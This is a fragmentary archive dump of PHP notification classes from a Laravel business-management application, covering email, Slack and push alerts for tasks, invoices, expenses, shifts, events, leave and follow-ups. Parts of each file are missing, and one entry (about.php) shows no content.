'; $content = $heading . $projectName . $comment . $commentBy; $build ->subject(__('email.taskComment.subject') . ' #' . $this->task->task_short_code . ' - ' . config('app.name') . '.') ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.taskComment.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->task->id, 'created_at' => $this->taskComment->created_at->format('Y-m-d H:i:s'), 'user_id' => $this->taskComment->user_id, 'heading' => $this->task->heading ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { if ($this->slackUserNameCheck($notifiable)) { return $this->slackBuild($notifiable) ->content('*' . __('email.taskComment.subject') . '*' . "\n" . $this->task->heading . "\n" . ' #' . $this->task->task_short_code); } return $this->slackRedirectMessage('email.discussionReply.subject', $notifiable); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.taskComment.subject')) ->setBody($this->task->heading . ' ' . __('email.taskComment.subject')); } } Notifications/ShiftChangeRequest.php000064400000005475150325104510013631 0ustar00employeeShiftSchedule = $employeeShiftSchedule; $this->company = $this->employeeShiftSchedule->shift->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'shift-assign-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ // phpcs:ignore public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('shifts-change.index'); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.shiftChange.text') . '
' . __('app.employee') . ': ' . $this->employeeShiftSchedule->shiftSchedule->user->name . '
'. __('app.date') . ': ' . $this->employeeShiftSchedule->shiftSchedule->date->toFormattedDateString() . '
'. __('app.previous') . ' ' . __('modules.attendance.shiftName') . ': ' . $this->employeeShiftSchedule->shiftSchedule->shift->shift_name . '
' . __('app.new') . ' ' . __('modules.attendance.shiftName') . ': ' . $this->employeeShiftSchedule->shift->shift_name; $build ->subject(__('email.shiftChange.subject') . ' - ' . config('app.name') . '.') ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.shiftChange.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } public function toArray() { return [ 'user_id' => $this->employeeShiftSchedule->shiftSchedule->user_id, 'shift_id' => $this->employeeShiftSchedule->shiftSchedule->employee_shift_id, 'new_shift_id' => $this->employeeShiftSchedule->employee_shift_id, 'date' => $this->employeeShiftSchedule->shiftSchedule->date ]; } } Notifications/NewExpenseAdmin.php000064400000010631150325104510013115 0ustar00expense = $expense; $this->company = $this->expense->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'new-expenseadded-by-admin')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->expense->status == 'approved') { $subject = __('email.newExpense.newSubject'); } else { $subject = __('email.newExpense.subject'); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, $subject, $this->expense->item_name); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $url = route('expenses.show', $this->expense->id); $url = getDomainSpecificUrl($url, $this->company); if ($this->expense->status == 'approved') { $subject = __('email.newExpense.newSubject'); } else { $subject = __('email.newExpense.subject'); } $content = $subject . '
' . __('app.status') . ': ' . $this->expense->status . '
' . __('app.employee') . ': ' . $this->expense?->user?->name . '
' . __('modules.expenses.itemName') . ': ' . $this->expense->item_name . '
' . __('app.price') . ': ' . currency_format($this->expense->price, $this->expense->currency->id); $build ->subject($subject . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.newExpense.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->expense->id, 'user_id' => $notifiable->id, 'item_name' => $this->expense->item_name ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content(__('email.newExpense.subject') . ' - ' . $this->expense->item_name . ' - ' . currency_format($this->expense->price, $this->expense->currency->id) . "\n" . url('/login')); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.newExpense.subject')) ->setBody($this->expense->item_name . ' by ' . $this->expense->user->name); } } Notifications/NewCreditNote.php000064400000007024150325104510012577 0ustar00creditNotes = $creditNotes; $this->company = $this->creditNotes->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'invoice-createupdate-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ($notifiable->email_notifications && $notifiable->email != '') ? ['mail', 'database'] : ['database']; if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.creditNote.subject'), $this->creditNotes->cn_number); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage|void */ public function toMail($notifiable) { $newCreditNote = parent::build($notifiable); if (!is_null($this->creditNotes->client_id)) { // For Sending pdf to email $invoiceController = new CreditNoteController(); if ($pdfOption = $invoiceController->domPdfObjectForDownload($this->creditNotes->id)) { $pdf = $pdfOption['pdf']; $filename = $pdfOption['fileName']; $newCreditNote->attachData($pdf->output(), $filename . '.pdf'); App::setLocale($notifiable->locale ?? $this->company->locale ?? 'en'); $url = route('creditnotes.show', $this->creditNotes->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.creditNote.text') . '
' . __('app.creditnoteNumber') . ': ' . $this->creditNotes->cn_number .'
'; $newCreditNote->subject(__('email.creditNote.subject') . ' (' . $this->creditNotes->cn_number . ') - ' . config('app.name') . '.') ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.creditNote.action'), 'notifiableName' => $notifiable->name ]); return $newCreditNote; } } } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->creditNotes->id, 'cn_number' => $this->creditNotes->cn_number ]; } } Notifications/InvoiceUpdated.php000064400000007556150325104510013002 0ustar00invoice = $invoice; $this->company = $this->invoice->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'invoice-createupdate-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') ? ['mail', 'database'] : ['database']; if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.invoice.updateSubject'), $this->invoice->invoice_number); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage|void */ public function toMail($notifiable) { $invoiceUpdate = parent::build($notifiable); if (($this->invoice->project && !is_null($this->invoice->project->client)) || !is_null($this->invoice->client_id)) { // For Sending pdf to email $invoiceController = new InvoiceController(); if ($pdfOption = $invoiceController->domPdfObjectForDownload($this->invoice->id)) { $pdf = $pdfOption['pdf']; $filename = $pdfOption['fileName']; $invoiceUpdate->attachData($pdf->output(), $filename . '.pdf'); App::setLocale($notifiable->locale ?? $this->company->locale ?? 'en'); $url = url()->temporarySignedRoute('front.invoice', now()->addDays(GlobalSetting::SIGNED_ROUTE_EXPIRY), $this->invoice->hash); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.invoice.updateText'); $invoiceUpdate->subject(__('email.invoice.updateSubject') . ' - ' . config('app.name') . '.') ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.viewInvoice'), 'notifiableName' => $notifiable->name ]); return $invoiceUpdate; } } } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->invoice->id, 'invoice_number' => $this->invoice->invoice_number ]; } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.invoice.updateSubject')) ->setBody(__('email.invoice.updateText')); } } Notifications/EventReminder.php000064400000004017150325104510012633 0ustar00event = $event; $this->company = $this->event->company; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = array('database'); if ($notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('events.show', $this->event->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.eventReminder.text') . '
' . __('app.name') . ': ' . $this->event->event_name . '
' . __('app.venue') . ': ' . $this->event->where . '
' . __('app.time') . ': ' . $this->event->start_date_time->toDayDateTimeString(); $build ->subject(__('email.eventReminder.subject') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.eventReminder.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return $this->event->toArray(); } } Notifications/ContractSigned.php000064400000004311150325104510012770 0ustar00contract = $contract; $this->contractSign = $contractSign; $this->company = $this->contract->company; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $contract = parent::build($notifiable); $publicUrlController = new ContractController(); $pdfOption = $publicUrlController->downloadView($this->contract->id); $pdf = $pdfOption['pdf']; $filename = $pdfOption['fileName']; $content = new HtmlString(__('email.contractSign.text', ['contract' => '' . $this->contract->subject . '', 'client' => '' . $this->contractSign->full_name . ''])); $contract->subject(__('email.contractSign.subject')) ->markdown('mail.email', [ 'content' => $content, 'themeColor' => $this->company->header_color, 'notifiableName' => $notifiable->name ]); $contract->attachData($pdf->output(), $filename . '.pdf'); return $contract; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ // phpcs:ignore public function toArray($notifiable) { return $this->contract->toArray(); } } Notifications/NewInvoiceRecurring.php000064400000005646150325104510014024 0ustar00invoice = $invoice; $this->company = $this->invoice->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'invoice-createupdate-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') ? ['mail', 'database'] : ['database']; return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage|void */ public function toMail($notifiable) { $newInvoiceRecurring = parent::build($notifiable); if (($this->invoice->project && !is_null($this->invoice->project->client)) || !is_null($this->invoice->client_id)) { // For Sending pdf to email $invoiceController = new InvoiceController(); if ($pdfOption = $invoiceController->domPdfObjectForConsoleDownload($this->invoice->id)) { $pdf = $pdfOption['pdf']; $filename = $pdfOption['fileName']; $url = route('invoices.show', $this->invoice->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.invoice.text') . '
' . __('app.invoiceNumber') . ': ' .$this->invoice->invoice_number; $newInvoiceRecurring ->subject(__('email.invoice.subject') . ' (' . $this->invoice->invoice_number . ') - ' . config('app.name') . '.') ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.invoice.action'), 'notifiableName' => $notifiable->name ]); $newInvoiceRecurring->attachData($pdf->output(), $filename . '.pdf'); return $newInvoiceRecurring; } } } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->invoice->id, 'invoice_number' => $this->invoice->invoice_number ]; } } Notifications/about.php000064400000026574150325104510011212 0ustar00Notifications/ClockIn.php000064400000004055150325104510011410 0ustar00attendance = $attendance; $this->company = $this->attendance->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'clock-in-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via() { $via = []; if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { array_push($via, 'slack'); } return $via; } public function toSlack($notifiable) { $slack = $notifiable->company->slackSetting; if (count($notifiable->employee) > 0 && (!is_null($notifiable->employee[0]->slack_username) && ($notifiable->employee[0]->slack_username != ''))) { return (new SlackMessage()) ->from(config('app.name')) ->to('@' . $notifiable->employee[0]->slack_username) ->image($slack->slack_logo_url) ->content($this->attendance->user->name . ' ' . __('modules.attendance.clockedIn') . ' ' . __('app.at') . ' '. $this->attendance->clock_in_time->timezone($this->company->timezone)->format('H:i:s')); } return (new SlackMessage()) ->from(config('app.name')) ->image($slack->slack_logo_url) ->content($this->attendance->user->name . ' ' . __('modules.attendance.clockedIn') . ' ' . __('app.at') . ' '. $this->attendance->clock_in_time->timezone($this->company->timezone)->format('H:i:s')); } } Notifications/NewTimesheetApproval.php000064400000003776150325104510014205 0ustar00weeklyTimesheet = $weeklyTimesheet; $this->company = $weeklyTimesheet->company; } /** * Get the notification's delivery channels. * * @return array */ public function via(object $notifiable): array { return ['mail']; } /** * Get the mail representation of the notification. */ public function toMail(object $notifiable): MailMessage { $build = parent::build($notifiable); $build ->subject(__('email.newTimesheetApproval.subject', ['employeeName' => $this->weeklyTimesheet->user->name])) ->greeting(__('email.newTimesheetApproval.greeting')) ->line(__('email.newTimesheetApproval.text')) ->line(__('email.newTimesheetApproval.text1', ['startDate' => $this->weeklyTimesheet->week_start_date->copy()->translatedFormat($this->company->date_format), 'endDate' => $this->weeklyTimesheet->week_start_date->copy()->addDays(6)->translatedFormat($this->company->date_format), 'employeeName' => $this->weeklyTimesheet->user->name])) ->action(__('email.newTimesheetApproval.action'), route('weekly-timesheets.index').'?view=pending_approval&id='.$this->weeklyTimesheet->id) ->line(__('email.newTimesheetApproval.thankYou')); return $build; } /** * Get the array representation of the notification. * * @return array */ public function toArray(object $notifiable): array { return [ // ]; } } Notifications/LeaveApplication.php000064400000004471150325104510013310 0ustar00leave = $leave; $this->company = $this->leave->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'new-leave-application')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $url = route('leaves.show', $this->leave->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.leave.applied') . ':- ' . '
' . __('app.date') . ': ' . $this->leave->leave_date->toDayDateTimeString() . '
' . __('app.status') . ': ' . $this->leave->status; $content .= '
' . __('modules.leaves.reason') . ': ' . $this->leave->reason; $build ->subject(__('email.leave.applied') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.leaves.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return $this->leave->toArray(); } } Notifications/EventCompleted.php000064400000010434150325104510013002 0ustar00event = $event; $this->company = $this->event->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'event-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.newEvent.subject'), $this->event->event_name); } return $via; } /** * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage * @throws \Exception */ public function toMail($notifiable) { $eventStatusNote = parent::build($notifiable); $vCalendar = new \Eluceo\iCal\Component\Calendar('www.example.com'); $vEvent = new \Eluceo\iCal\Component\Event(); $vEvent ->setDtStart(new \DateTime($this->event->start_date_time)) ->setDtEnd(new \DateTime($this->event->end_date_time)) ->setNoTime(true) ->setSummary($this->event->event_name); $vCalendar->addComponent($vEvent); $vFile = $vCalendar->render(); $url = route('events.show', $this->event->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.newEvent.eventCompletedNote') . '

' . __('modules.events.eventName') . ': ' . $this->event->event_name . '
' . __('modules.events.startOn') . ': ' . $this->event->start_date_time->translatedFormat($this->company->date_format . ' - ' . $this->company->time_format) . '
' . __('modules.events.endOn') . ': ' . $this->event->end_date_time->translatedFormat($this->company->date_format . ' - ' . $this->company->time_format); $eventStatusNote->subject(__('email.newEvent.statusSubject') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.newEvent.action'), 'notifiableName' => $notifiable->name ]); return $eventStatusNote; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->event->id, 'start_date_time' => $this->event->start_date_time->format('Y-m-d H:i:s'), 'event_name' => $this->event->event_name ]; } public function toSlack($notifiable) { $url = route('tasks.show', $this->event->id); $url = getDomainSpecificUrl($url, $this->company); return $this->slackBuild($notifiable) ->content("*" . __('email.newEvent.statusSubject') . "*" . "\n" . __('email.newEvent.eventCompletedNote') . "\n" . __('modules.events.eventName') . ': ' . $this->event->event_name . "\n" . __('modules.events.startOn') . ': ' . $this->event->start_date_time->format($this->company->date_format . ' - ' . $this->company->time_format) . "\n" . __('modules.events.endOn') . ': ' . $this->event->end_date_time->format($this->company->date_format . ' - ' . $this->company->time_format)); } } Notifications/BirthdayReminder.php000064400000006111150325104510013315 0ustar00birthDays = $event; $this->count = count($this->birthDays->upcomingBirthdays); $this->company = $this->birthDays->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'birthday-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = array('database'); if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active' && $notifiable->employeeDetail->slack_username != '') { array_push($via, 'slack'); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ // phpcs:ignore public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $list = '
    '; foreach ($this->birthDays->upcomingBirthdays as $birthDay) { $list .= '
  1. ' . $birthDay['name'] . '
  2. '; } $list .= '
'; $url = route('dashboard'); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.BirthdayReminder.text') . '
' . new HtmlString($list); $build ->subject($this->count . ' ' . __('email.BirthdayReminder.subject')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.BirthdayReminder.action') ]); parent::resetLocale(); return $build; } public function toArray() { return ['birthday_name' => $this->birthDays->upcomingBirthdays]; } public function toSlack($notifiable) // phpcs:ignore { $name = ''; foreach ($this->birthDays->upcomingBirthdays as $key => $birthDay) { $name .= '>' . ($key + 1) . '. ' . $birthDay['name'] . "\n"; } if ($notifiable->employeeDetail->slack_username) { return $this->slackBuild($notifiable) ->content('>*' . __('email.BirthdayReminder.text') . ' :birthday: *' . "\n" . $name . ' '); } return $this->slackRedirectMessage('email.BirthdayReminder.text', $notifiable); } } Notifications/ShiftRotationNotification.php000064400000003553150325104510015234 0ustar00dates = $dates; $this->rotationFrequency = $rotationFrequency; $this->userId = $userId; $this->company = $userId->company; } /** * Get the notification's delivery channels. * * @return array */ public function via(object $notifiable): array { return ['mail']; } /** * Get the mail representation of the notification. */ public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $shiftRotations = EmployeeShiftSchedule::with('shift') ->whereIn('date', $this->dates) ->where('user_id', $this->userId->id) ->get(); $build ->subject(__('email.shiftScheduled.subject')) ->markdown('mail.shift-rotation-email', [ 'shiftRotations' => $shiftRotations, 'rotationFrequency' => $this->rotationFrequency, 'company' => $this->company, ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @return array */ public function toArray(object $notifiable): array { return [ // ]; } } Notifications/EventHostInvite.php000064400000007642150325104510013171 0ustar00event = $event; $this->company = $this->event->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'event-notification')->first(); } /** * Get the notification's delivery channels. * * @return array */ public function via(object $notifiable): array { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } return $via; } /** * Get the mail representation of the notification. */ public function toMail($notifiable) { $eventInvite = parent::build($notifiable); $vCalendar = new \Eluceo\iCal\Component\Calendar('www.example.com'); $vEvent = new \Eluceo\iCal\Component\Event(); $vEvent ->setDtStart(new \DateTime($this->event->start_date_time)) ->setDtEnd(new \DateTime($this->event->end_date_time)) ->setNoTime(true) ->setSummary($this->event->event_name); $vCalendar->addComponent($vEvent); $vFile = $vCalendar->render(); $url = route('events.show', $this->event->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.newEvent.hostText', ['eventName' => $this->event->event_name, 'companyName' => $this->company->company_name]) . '

' . __('modules.events.eventName') . ': ' . $this->event->event_name . '
' . __('modules.events.startOn') . ': ' . $this->event->start_date_time->translatedFormat($this->company->date_format . ' - ' . $this->company->time_format) . '
' . __('modules.events.endOn') . ': ' . $this->event->end_date_time->translatedFormat($this->company->date_format . ' - ' . $this->company->time_format) . '
' . __('app.location') . ': ' . $this->event->where . ''; $eventInvite->subject(__('email.newEvent.subject') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.newEvent.action'), 'notifiableName' => $notifiable->name ]); $eventInvite->attachData($vFile, 'cal.ics', [ 'mime' => 'text/calendar', ]); return $eventInvite; } /** * Get the array representation of the notification. * * @return array */ public function toArray($notifiable) { return [ 'id' => $this->event->id, 'start_date_time' => $this->event->start_date_time->format('Y-m-d H:i:s'), 'event_name' => $this->event->event_name ]; } public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content(__('email.newEvent.subject') . "\n" . __('modules.events.eventName') . ': ' . $this->event->event_name . "\n" . __('modules.events.startOn') . ': ' . $this->event->start_date_time->format($this->company->date_format . ' - ' . $this->company->time_format) . "\n" . __('modules.events.endOn') . ': ' . $this->event->end_date_time->format($this->company->date_format . ' - ' . $this->company->time_format)); } } Notifications/TaskCommentMention.php000064400000010201150325104510013633 0ustar00task = $task; $this->taskComment = $taskComment; $this->company = $this->task->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'task-mention-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($notifiable->id == user()->id) { return []; } if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.taskComment.mentionSubject'), $this->task->heading); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $url = route('tasks.show', [$this->task->id, 'view' => 'comments']); $url = getDomainSpecificUrl($url, $this->company); $project = ((!is_null($this->task)) ? __('app.task') . ' - ' . $this->task->heading : ''); $content = __('email.taskComment.mentionTask') . '
' . $project . '
'; return parent::build($notifiable) ->subject(__('email.taskComment.mentionSubject') . ' #' . $this->task->task_short_code . ' - ' . config('app.name') . '.') ->markdown( 'mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.taskComment.action'), 'notifiableName' => $notifiable->name ] ); } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->task->id, 'created_at' => $this->taskComment->created_at->format('Y-m-d H:i:s'), 'user_id' => $this->taskComment->user_id, 'heading' => $this->task->heading, ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content('*' . __('email.taskComment.mentionTask') . '*' . "\n" . $this->task->heading . "\n" . ' #' . $this->task->task_short_code); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->subject(__('email.taskComment.subject')) ->body($this->task->heading . ' ' . __('email.taskComment.subject')); } } Notifications/AutoFollowUpReminder.php000064400000010722150325104510014152 0ustar00leadFollowup = $leadFollowup; $this->subject = $subject; $this->company = $leadFollowup->lead->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'follow-up-reminder')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } $mailSubject = ($this->subject) ? __('email.followUpReminder.newFollowUpSubject') : __('email.followUpReminder.subject'); $followUpLead = $this->leadFollowup?->lead?->name; if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, $mailSubject, $followUpLead); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('deals.show', $this->leadFollowup->lead->id) . '?tab=follow-up'; $url = getDomainSpecificUrl($url, $this->company); $followUpLead = $this->leadFollowup?->lead?->name; $followUpDate = $this->leadFollowup?->next_follow_up_date->format($this->company->date_format); $followUpTime = $this->leadFollowup?->next_follow_up_date->format($this->company->time_format); $content = __('email.followUpReminder.followUpLeadText') .'

' .__('email.followUpReminder.followUpLead') . ' :- ' . $followUpLead . '
' . __('email.followUpReminder.nextFollowUpDate') . ' :- ' . $followUpDate . '
' . __('email.followUpReminder.nextFollowUpTime') . ' :- ' . $followUpTime . '
